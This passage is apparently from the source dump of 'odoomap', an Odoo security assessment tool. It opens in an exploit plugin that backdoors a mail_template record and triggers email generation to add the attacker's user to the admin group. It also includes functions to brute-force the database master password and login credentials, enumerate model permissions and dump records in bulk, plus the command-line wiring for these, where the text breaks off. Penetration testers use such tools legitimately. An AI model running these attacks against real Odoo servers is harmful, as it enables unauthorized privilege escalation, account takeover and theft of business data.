113 | return VulnerableStatus.UNKNOWN, "Failed to parse Odoo version"
114 |
115 | if self.__class__.is_version_vulnerable(version):
116 | return VulnerableStatus.VULNERABLE, f"(Version {version})"
117 |
118 | return VulnerableStatus.NOT_VULNERABLE, f"Version {version} is not vulnerable"
119 |
120 | def run(self,
121 | target_url,
122 | database=None,
123 | username=None,
124 | password=None,
125 | connection=None):
126 | """
127 | Run the plugin and try to add your user into
128 | the admin's group
129 | """
130 | self.connection = connection
131 | if not self.validate_requirements(self.connection, username, password):
132 | print(f"{Colors.e} This plugin requires authentication")
133 | return "Failed"
134 |
135 | vulnerability_status, reason = self.check(database, username, password)
136 | if vulnerability_status is VulnerableStatus.NOT_VULNERABLE:
137 | print(f"{Colors.e} Target is not vulnerable: {reason}")
138 | return "Failed"
139 |
140 | if vulnerability_status is VulnerableStatus.UNKNOWN:
141 | print(f"{Colors.w} Vulnerability unknown: {reason}")
142 | else:
143 | print(f"{Colors.s} Target is vulnerable: {reason}")
144 |
145 |
146 | run_exploit = input("Continue exploit? [y/N]: ").strip().lower()
147 | if run_exploit not in ('y', 'yes'):
148 | print(f"{Colors.w} Aborting exploit")
149 | return "Aborted"
150 |
151 | print(f"{Colors.i} Updating `mail_template`.lang table")
152 |
153 | ### 1. Find a backdoorable template id ###
154 | old_lang, old_model = None, None
155 | template_id = 0
156 | for i in range(1, 32):
157 | res = self.connection.models.execute_kw(
158 | self.connection.db,
159 | self.connection.uid,
160 | self.connection.password,
161 | 'mail.template', 'read',
162 | [i, ["id", "lang", "model"]])
163 | if res:
164 | old_lang = res[0].get("lang")
165 | old_model = res[0].get("model")
166 | template_id = res[0].get("id")
167 | print(f"{Colors.i} Old values lang: {old_lang}, "
168 | f"model: {old_model}, id: {template_id}")
169 | break
170 | if old_lang is None or not template_id or not old_model:
171 | print(f"{Colors.e} No template available for attack")
172 | return None
173 | print(f"{Colors.i} Backdooring template {str(template_id)}")
174 |
175 | try:
176 | if self.connection.models.execute_kw(self.connection.db,
177 | self.connection.uid,
178 | self.connection.password,
179 | 'mail.template', 'write',
180 | [template_id, self.get_values_to_write()]):
181 | print(f"{Colors.s} Payload stored, executing it")
182 | self.connection.models.execute_kw(self.connection.db,
183 | self.connection.uid,
184 | self.connection.password,
185 | 'mail.template', 'generate_email',
186 | [template_id, self.connection.uid, ["lang"]])
187 | print(f"{Colors.s} You shall now be privileged")
188 | except Exception as e:
189 | print(f"{Colors.e} {str(e)}")
190 |
191 | finally:
192 | print(f"{Colors.i} Cleaning exploit")
193 | self.connection.models.execute_kw(self.connection.db,
194 | self.connection.uid,
195 | self.connection.password,
196 | 'mail.template', 'write',
197 | [template_id, {"lang": old_lang, "model": old_model}])
198 | return "Success"
199 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [2025] [Mohamed Karrab]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/odoomap/actions.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | from importlib.resources import files
4 | from odoomap.utils.colors import Colors
5 | from .utils.brute_display import BruteDisplay, console
6 |
7 | directory = os.getcwd()
8 |
9 | def get_models(connection, limit=100, with_permissions=False, bruteforce=False, model_file=None):
10 | """Get list of accessible models with optional limit,
11 | falls back to bruteforcing if listing fails"""
12 | print(f"{Colors.i} Enumerating models...")
13 | if not connection.uid:
14 | print(f"{Colors.e} Not authenticated. Please authenticate first.")
15 | return []
16 |
17 | try:
18 | if not bruteforce:
19 | # Try standard model listing first
20 | batch_size = 100 # Increased batch size for efficiency
21 | offset = 0
22 | total_models = []
23 | model_count = 0
24 |
25 | if batch_size > limit:
26 | batch_size = limit
27 |
28 | # First, get the total count for progress reporting
29 | try:
30 | count = connection.models.execute_kw(
31 | connection.db, connection.uid, connection.password,
32 | 'ir.model', 'search_count', [[]])
33 |
34 | print(f"{Colors.i} Found {count} models total, retrieving in batches...")
35 |
36 | # Retrieve models in batches with offset
37 | while True:
38 | # Fetch a batch of models directly with search_read
39 | batch_models = connection.models.execute_kw(
40 | connection.db, connection.uid, connection.password,
41 | 'ir.model', 'search_read',
42 | [[]], {'fields': ['model', 'name'], 'limit': batch_size, 'offset': offset})
43 |
44 | if not batch_models:
45 | break # No more models to retrieve
46 |
47 | # Display models as they're retrieved
48 | for j, model in enumerate(batch_models):
49 | model_num = offset + j + 1
50 | print(f"{Colors.s} [{model_num}/{count}] {model['model']} - {model['name']}")
51 |
52 | total_models.extend(batch_models)
53 | offset += batch_size
54 |
55 | # Break if we've reached the limit
56 | if limit and offset >= limit:
57 | break
58 |
59 | models = total_models
60 | except Exception as e:
61 | print(f"{Colors.e} Error listing models: {str(e)}")
62 | response = input(f"{Colors.i} Fall back to bruteforce method? [y/N]: ").strip().lower()
63 | if response == 'y' or response == 'yes':
64 | print(f"{Colors.i} Falling back to bruteforce method...")
65 | bruteforce = True
66 | else:
67 | print(f"{Colors.e} Aborting model enumeration.")
68 | sys.exit(1)
69 |
70 | # If bruteforce is enabled or standard listing failed
71 | if bruteforce:
72 | return bruteforce_models(connection, model_file, limit, with_permissions)
73 |
74 | if not with_permissions:
75 | print(f"\n{Colors.i} Retrieved {len(models)} models total (limit: {limit if limit else 'none'}, -l to change limit)")
76 | else:
77 | print(f"\n{Colors.i} Permissions: r=read, w=write, c=create, d=delete")
78 |
79 | # Process models and check permissions
80 | result = []
81 | for i, model in enumerate(models):
82 | model_info = model['model']
83 |
84 | # Print progress regardless of permission checking
85 | if with_permissions:
86 | try:
87 | print(f"{Colors.i} Checking permissions for {model_info}...", end="\r")
88 |
89 | # Check each permission type individually
90 | read_access = connection.models.execute_kw(
91 | connection.db, connection.uid, connection.password,
92 | model['model'], 'check_access_rights',
93 | ['read'], {'raise_exception': False})
94 |
95 | write_access = connection.models.execute_kw(
96 | connection.db, connection.uid, connection.password,
97 | model['model'], 'check_access_rights',
98 | ['write'], {'raise_exception': False})
99 |
100 | create_access = connection.models.execute_kw(
101 | connection.db, connection.uid, connection.password,
102 | model['model'], 'check_access_rights',
103 | ['create'], {'raise_exception': False})
104 |
105 | unlink_access = connection.models.execute_kw(
106 | connection.db, connection.uid, connection.password,
107 | model['model'], 'check_access_rights',
108 | ['unlink'], {'raise_exception': False})
109 |
110 | perms = []
111 | if read_access: perms.append('r')
112 | if write_access: perms.append('w')
113 | if create_access: perms.append('c')
114 | if unlink_access: perms.append('d')
115 |
116 | perm_str = ','.join(perms) if perms else 'none'
117 | model_info_with_perms = f"{model_info} [{perm_str}]"
118 |
119 | print(f"{Colors.s} {model_info_with_perms}".ljust(80))
120 |
121 | model_info = model_info_with_perms
122 | except Exception as e:
123 | model_info += " [ERROR]"
124 | print(f"{Colors.e} Error checking permissions for {model['model']}: {str(e)}")
125 |
126 | result.append(model_info)
127 |
128 | return result
129 | except Exception as e:
130 | print(f"{Colors.e} Error in model discovery: {str(e)}")
131 | return []
132 |
133 |
134 | def bruteforce_models(connection, model_file, limit=100, with_permissions=False):
135 | """Bruteforce models from a list and check permissions"""
136 | print(f"{Colors.i} Using bruteforce method to discover models")
137 | # Use provided model file, or select default based on version
138 | if model_file and os.path.exists(model_file):
139 | print(f"{Colors.i} Loading models from file: {model_file}")
140 | with open(model_file, 'r') as f:
141 | model_list = [line.strip() for line in f if line.strip()]
142 | else:
143 | print(f"{Colors.i} Using default model list for bruteforce")
144 | try:
145 | models_text = files("odoomap.data").joinpath("default_models.txt").read_text(encoding="utf-8")
146 | model_list = [line.strip() for line in models_text.splitlines() if line.strip()]
147 | except Exception as e:
148 | print(f"{Colors.e} Error reading default models file: {str(e)}")
149 | sys.exit(1)
150 |
151 | print(f"{Colors.i} Bruteforcing {len(model_list)} potential models...")
152 |
153 | if not connection.uid:
154 | print(f"{Colors.e} Not authenticated. Please authenticate first.")
155 | return []
156 |
157 | discovered_models = []
158 | count = 0
159 |
160 | # Limit the model list if needed
161 | if limit and limit < len(model_list):
162 | model_list = model_list[:limit]
163 |
164 | total = len(model_list)
165 | print(f"\n{Colors.i} Testing access to {total} models... (change limit with -l limit)")
166 | if with_permissions:
167 | print(f"{Colors.i} Permissions: r=read, w=write, c=create, d=delete")
168 |
169 | for i, model_name in enumerate(model_list):
170 | try:
171 | print(f"\r{Colors.i} Testing model {i+1}/{total}: {model_name}".ljust(80), end="\r")
172 |
173 | model_exists = False
174 | try:
175 | connection.models.execute_kw(
176 | connection.db, connection.uid, connection.password,
177 | model_name, 'search', [[]], {'limit': 1})
178 | model_exists = True
179 | except Exception:
180 | pass
181 |
182 | if model_exists:
183 | count += 1
184 | model_info = model_name
185 |
186 | if with_permissions:
187 | try:
188 | read_access = connection.models.execute_kw(
189 | connection.db, connection.uid, connection.password,
190 | model_name, 'check_access_rights',
191 | ['read'], {'raise_exception': False})
192 |
193 | write_access = connection.models.execute_kw(
194 | connection.db, connection.uid, connection.password,
195 | model_name, 'check_access_rights',
196 | ['write'], {'raise_exception': False})
197 |
198 | create_access = connection.models.execute_kw(
199 | connection.db, connection.uid, connection.password,
200 | model_name, 'check_access_rights',
201 | ['create'], {'raise_exception': False})
202 |
203 | unlink_access = connection.models.execute_kw(
204 | connection.db, connection.uid, connection.password,
205 | model_name, 'check_access_rights',
206 | ['unlink'], {'raise_exception': False})
207 |
208 | perms = []
209 | if read_access: perms.append('r')
210 | if write_access: perms.append('w')
211 | if create_access: perms.append('c')
212 | if unlink_access: perms.append('d')
213 |
214 | perm_str = ','.join(perms) if perms else 'none'
215 | model_info = f"{model_name} [{perm_str}]"
216 | except Exception:
217 | model_info = f"{model_name} [ERROR]"
218 |
219 | print(f"{Colors.s} Found accessible model: {model_info}".ljust(80))
220 | discovered_models.append(model_info)
221 | except Exception as e:
222 | print(f"{Colors.e} Error testing model {model_name}: {str(e)}".ljust(80))
223 |
224 | print(f"\n{Colors.s} Found {count} accessible models out of {total} tested")
225 | return discovered_models
226 |
227 |
228 | def dump_model(connection, model_name, limit=100, output_file=None):
229 | """Dump data from a model"""
230 | if not connection.uid:
231 | print(f"{Colors.e} Not authenticated. Please authenticate first.")
232 | return None
233 |
234 | try:
235 | count = connection.models.execute_kw(
236 | connection.db, connection.uid, connection.password,
237 | model_name, 'search_count', [[]])
238 |
239 | print(f"{Colors.i} Total records in {model_name}: {count}")
240 |
241 | record_ids = connection.models.execute_kw(
242 | connection.db, connection.uid, connection.password,
243 | model_name, 'search', [[]], {'limit': limit})
244 |
245 | if not record_ids:
246 | print(f"{Colors.w} No records found in {model_name}")
247 | return None
248 |
249 | fields_info = connection.models.execute_kw(
250 | connection.db, connection.uid, connection.password,
251 | model_name, 'fields_get', [], {'attributes': ['string', 'type']})
252 |
253 | field_names = list(fields_info.keys())
254 |
255 | records = connection.models.execute_kw(
256 | connection.db, connection.uid, connection.password,
257 | model_name, 'read', [record_ids], {'fields': field_names})
258 |
259 | print(f"{Colors.s} Retrieved {len(records)} records from {model_name} (Change limit with -l limit)")
260 |
261 | if output_file:
262 | import json
263 | with open(output_file, 'w') as f:
264 | json.dump(records, f, indent=4)
265 | print(f"{Colors.s} Data saved to {output_file}\n")
266 |
267 | return records
268 | except Exception as e:
269 | print(f"{Colors.e} Error dumping data from {model_name}: {str(e)}")
270 | return None
271 |
272 | def bruteforce_master_password(connection, wordlist_file=None):
273 | """
274 | Attempt to bruteforce the Odoo database master password.
275 | This works by trying to dump an unexisting database with each password.
276 | Even if the password is correct, it will raise an exception about unspecified
277 | format, so we check for specific error messages to confirm success.
278 | """
279 |
280 | passwords = []
281 |
282 | if wordlist_file:
283 | try:
284 | with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:
285 | passwords = [line.strip() for line in f if line.strip()]
286 | print(f"{Colors.s} Loaded {len(passwords)} passwords from {wordlist_file}")
287 | except Exception as e:
288 | print(f"{Colors.e} Error reading wordlist file: {e}")
289 | return None
290 |
291 | if not passwords:
292 | print(f"{Colors.e} Please provide a passwords file with -p .")
293 | return None
294 |
295 | display = BruteDisplay(total=len(passwords))
296 |
297 | console.print()
298 | for pwd in passwords:
299 | display.update(f"{Colors.t} {pwd}")
300 | try:
301 | proxy = connection.master
302 | proxy.dump(pwd, "fake_db_73189")
303 |
304 | # If no exception: password is valid
305 | display.add_success(f"{pwd}\n")
306 | return pwd
307 |
308 | except (ConnectionRefusedError, TimeoutError, OSError) as net_err:
309 | display.add_error(f"{net_err}")
310 |
311 | except Exception as e:
312 | if "Fault 3:" in str(e) or "Access Denied" in str(e) or "Wrong master password" in str(e):
313 | pass
314 | else:
315 | # If it's a different exception: password is valid
316 | display.add_success(f"{pwd}\n")
317 | display.stop()
318 | return pwd
319 |
320 | display.stop()
321 | return None
322 |
--------------------------------------------------------------------------------
/odoomap/core.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import sys
3 | import os
4 | import signal
5 | import getpass
6 | from . import connect
7 | from . import actions
8 | from . import __version__
9 | from .utils.colors import Colors
10 | from .plugin_manager import load_specific_plugin, list_available_plugins, get_plugin_info
11 | from urllib.parse import urlparse, urlunparse
12 | from rich.console import Console
13 |
14 | console = Console()
15 |
16 | def on_sigint(signum, frame):
17 | console.print("\n[yellow][!][/yellow] [white]Interrupted by user. Exiting...[/white]")
18 |
19 | console.show_cursor(show=True)
20 |
21 | sys.exit(0)
22 |
23 | signal.signal(signal.SIGINT, on_sigint)
24 |
25 | def banner():
26 | return Colors.HEADER + r'''
27 | _______________________________________________________________
28 | _
29 | ___ __| | ___ ___ _ __ ___ __ _ _ __
30 | / _ \ / _` |/ _ \ / _ \| '_ ` _ \ / _` | '_ \
31 | | (_) | (_| | (_) | (_) | | | | | | (_| | |_) |
32 | \___/ \__,_|\___/ \___/|_| |_| |_|\__,_| .__/
33 | |_|
34 | _______________________________________________________________
35 | ''' + Colors.ENDC + f'''
36 | Odoo Security Scanner by Mohamed Karrab @_karrab
37 | Version {__version__}
38 | '''
39 |
40 | def parse_arguments():
41 | parser = argparse.ArgumentParser(description='Odoo Security Assessment Tool')
42 |
43 | # Target specification
44 | parser.add_argument('-u', '--url', help='Target Odoo server URL')
45 |
46 | # Authentication
47 | parser.add_argument('-D', '--database', help='Target database name')
48 | parser.add_argument('-U', '--username', help='Username for authentication')
49 | parser.add_argument('-P', '--password', nargs='?', const='', help='Password for authentication (prompts securely if no value provided)')
50 |
51 | # Operation modes
52 | parser.add_argument('-r', '--recon', action='store_true', help='Perform initial reconnaissance')
53 | parser.add_argument('-e', '--enumerate', action='store_true', help='Enumerate available model names')
54 | parser.add_argument('-pe', '--permissions', action='store_true', help='Enumerate model permissions (requires -e)')
55 | parser.add_argument('-l', '--limit', type=int, default=100, help='Limit results for enumeration or dump operations')
56 | parser.add_argument('-o', '--output', help='Output file for results')
57 |
58 | # Dump options
59 | parser.add_argument('-d', '--dump', help='Dump data from specified model(s); accepts a comma-separated list or a file path containing model names (one per line)')
60 |
61 | # Model enumeration options
62 | parser.add_argument('-B', '--bruteforce-models', action='store_true', help='Bruteforce model names instead of listing them (default if listing fails)')
63 | parser.add_argument('--model-file', help='File containing model names for bruteforcing (one per line)')
64 |
65 | # Other operations
66 | parser.add_argument('-b', '--bruteforce', action='store_true', help='Bruteforce login credentials (requires -D)')
67 | parser.add_argument('-w', '--wordlist', help='Wordlist file for bruteforcing in user:pass format')
68 | parser.add_argument('--usernames', help='File containing usernames for bruteforcing (one per line)')
69 | parser.add_argument('--passwords', help='File containing passwords for bruteforcing (one per line)')
70 | parser.add_argument('-M', '--bruteforce-master', action='store_true', help="Bruteforce the database's master password")
71 | parser.add_argument('-p','--master-pass', help='Wordlist file for master password bruteforcing (one password per line)')
72 |
73 | # bruteforce database names
74 | parser.add_argument('-n','--brute-db-names', action='store_true', help='Bruteforce database names')
75 | parser.add_argument('-N','--db-names-file', help='File containing database names for bruteforcing (case-sensitive)')
76 |
77 | # plugin execution
78 | parser.add_argument('--plugin', help='Run a specific plugin by name (from odoomap/plugins/)')
79 | parser.add_argument('--list-plugins', action='store_true', help='List all available plugins with metadata')
80 |
81 | args = parser.parse_args()
82 |
83 | # Handle secure password prompt if -P was provided without a value
84 | if args.password == '':
85 | try:
86 | args.password = getpass.getpass(f"{Colors.i} Enter password: ")
87 | except KeyboardInterrupt:
88 | console.print("\n[yellow][!][/yellow] [white]Password prompt cancelled. Exiting...[/white]")
89 | sys.exit(0)
90 |
91 | # Validate URL requirement (not needed for --list-plugins)
92 | if not args.list_plugins and not args.url:
93 | parser.error("the following arguments are required: -u/--url (except when using --list-plugins)")
94 |
95 | # Validate argument combinations
96 | if args.permissions and not args.enumerate:
97 | parser.error("--permissions requires --enumerate")
98 |
99 | if args.bruteforce and not args.database:
100 | parser.error("--bruteforce requires --database")
101 |
102 | return args
103 |
104 | def main():
105 | args = parse_arguments()
106 |
107 | # Handle --list-plugins early (no connection needed)
108 | if args.list_plugins:
109 | plugins_info = get_plugin_info()
110 | if not plugins_info:
111 | print(f"{Colors.w} No plugins found in odoomap/plugins/")
112 | return
113 |
114 | print(f"{Colors.s} Available Plugins:\n")
115 | for plugin_name, info in plugins_info.items():
116 | print(f"{Colors.i} {info['name']} ({plugin_name}) v{info['version']}")
117 | print(f" Author: {info['author']}")
118 | print(f" Category: {info['category']}")
119 | print(f" Description: {info['description']}")
120 | print(f" Requires Auth: {'Yes' if info['requires_auth'] else 'No'}")
121 | print(f" Requires Connection: {'Yes' if info['requires_connection'] else 'No'}")
122 | if info['external_dependencies']:
123 | print(f" Dependencies: {', '.join(info['external_dependencies'])}")
124 | if 'error' in info:
125 | print(f" {Colors.e} Error: {info['error']}")
126 | print()
127 | return
128 |
129 | # Check if we have all authentication parameters
130 | has_auth_params = args.username and args.password and args.database
131 | auth_required_ops = args.enumerate or args.dump or args.permissions or args.bruteforce_models
132 |
133 | # Check if any action is specified (besides recon)
134 | any_action = args.enumerate or args.dump or args.bruteforce or args.permissions or args.bruteforce_models or args.bruteforce_master or args.brute_db_names or args.plugin or args.list_plugins
135 |
136 | # Determine if recon should be performed
137 | do_recon = args.recon or not any_action
138 |
139 | print(banner())
140 | print(f"{Colors.i} Target: {Colors.FAIL}{args.url}{Colors.ENDC}")
141 |
142 | # Initialize connection
143 | connection = connect.Connection(host=args.url)
144 |
145 | # --- Odoo check before authentication ---
146 | connection = connect.Connection(host=args.url)
147 | version = connection.get_version()
148 | if not version:
149 | # Try base URL if the given one fails
150 | parsed = urlparse(args.url)
151 | base_url = urlunparse((parsed.scheme, parsed.netloc, '/', '', '', ''))
152 | if base_url.endswith('//'):
153 | base_url = base_url[:-1]
154 | print(f"{Colors.w} No Odoo detected at {args.url}, trying base URL: {base_url}")
155 | connection = connect.Connection(host=base_url)
156 | version = connection.get_version()
157 | if version:
158 | print(f"{Colors.s} Odoo detected at base URL!")
159 | response = input(f"{Colors.i} Use {base_url} as target? [y/N]: ").strip().lower()
160 | if response == 'y' or response == 'yes':
161 | print(f"{Colors.i} Updated target {Colors.FAIL}{base_url}{Colors.ENDC}")
162 | args.url = base_url # Update target for rest of script
163 | else:
164 | print(f"{Colors.e} Aborting, please provide a valid Odoo URL.")
165 | sys.exit(1)
166 | else:
167 | print(f"{Colors.e} The target does not appear to be running Odoo or is unreachable.")
168 | sys.exit(1)
169 | else:
170 | print(f"{Colors.s} Odoo detected (version: {version})")
171 |
172 | # --- Master password bruteforce ---
173 | if args.bruteforce_master:
174 | wordlist = args.master_pass
175 | actions.bruteforce_master_password(connection, wordlist)
176 | # If only master bruteforce was requested, exit after
177 | if not (args.bruteforce or args.enumerate or args.dump or args.permissions or args.recon):
178 | sys.exit(0)
179 |
180 | # Authenticate if needed for further operations
181 | if auth_required_ops and has_auth_params:
182 | uid = connection.authenticate(args.database, args.username, args.password)
183 |
184 | elif auth_required_ops and not has_auth_params:
185 | print(f"{Colors.e} Authentication required for the requested operation")
186 | print(f"{Colors.e} Please provide -U username, -P password, and -D database")
187 | if not args.bruteforce:
188 | sys.exit(1)
189 |
190 | # Perform recon if requested or if no other action is specified
191 | if do_recon:
192 | print(f"{Colors.i} Performing reconnaissance...")
193 | """
194 | version = connection.get_version()
195 | if not version:
196 | print(f"{Colors.e} Failed to connect to Odoo server or determine version")
197 | sys.exit(1)
198 |
199 | print(f"{Colors.s} Detected Odoo version: {version}")
200 | """
201 |
202 | # List databases
203 | dbs = connection.get_databases()
204 | if dbs:
205 | print(f"{Colors.s} Found {len(dbs)} database(s):")
206 | for db in dbs:
207 | print(f"{Colors.i} - {db}{Colors.ENDC}")
208 | else:
209 | print(f"{Colors.w} No databases found or listing is disabled")
210 |
211 | # Check portal
212 | portal = connection.registration_check()
213 |
214 | # Check default apps
215 | apps = connection.default_apps_check()
216 |
217 | # --- Bruteforce database names if requested ---
218 | if args.brute_db_names:
219 | if not args.db_names_file:
220 | print(f"{Colors.e} Use -N to specify a file containing database names (case-sensitive).")
221 | sys.exit(1)
222 | print(f"{Colors.i} Bruteforcing database names using file: {args.db_names_file}")
223 | connection.bruteforce_database_names(args.db_names_file)
224 |
225 | # Bruteforce
226 | if args.bruteforce:
227 | print(f"{Colors.i} Starting bruteforce login...")
228 | if not (args.wordlist or args.usernames or args.passwords):
229 | print(f"{Colors.w} Warning: No wordlist, usernames, or passwords provided. Using default values.")
230 | connection.bruteforce_login(args.database, wordlist_file=args.wordlist,
231 | usernames_file=args.usernames, passwords_file=args.passwords)
232 |
233 | # Enumerate models
234 | if args.enumerate and connection.uid:
235 | models = actions.get_models(connection, limit=args.limit,
236 | with_permissions=args.permissions,
237 | bruteforce=args.bruteforce_models,
238 | model_file=args.model_file)
239 | if models:
240 | if args.output:
241 | with open(args.output, 'w') as f:
242 | for model in models:
243 | f.write(f"{model}\n")
244 | print(f"\n{Colors.s} Model list saved to {args.output}")
245 |
246 | elif args.bruteforce_models and connection.uid:
247 | models = actions.bruteforce_models(connection, limit=args.limit,
248 | with_permissions=args.permissions,
249 | model_file=args.model_file)
250 | if models:
251 | if args.output:
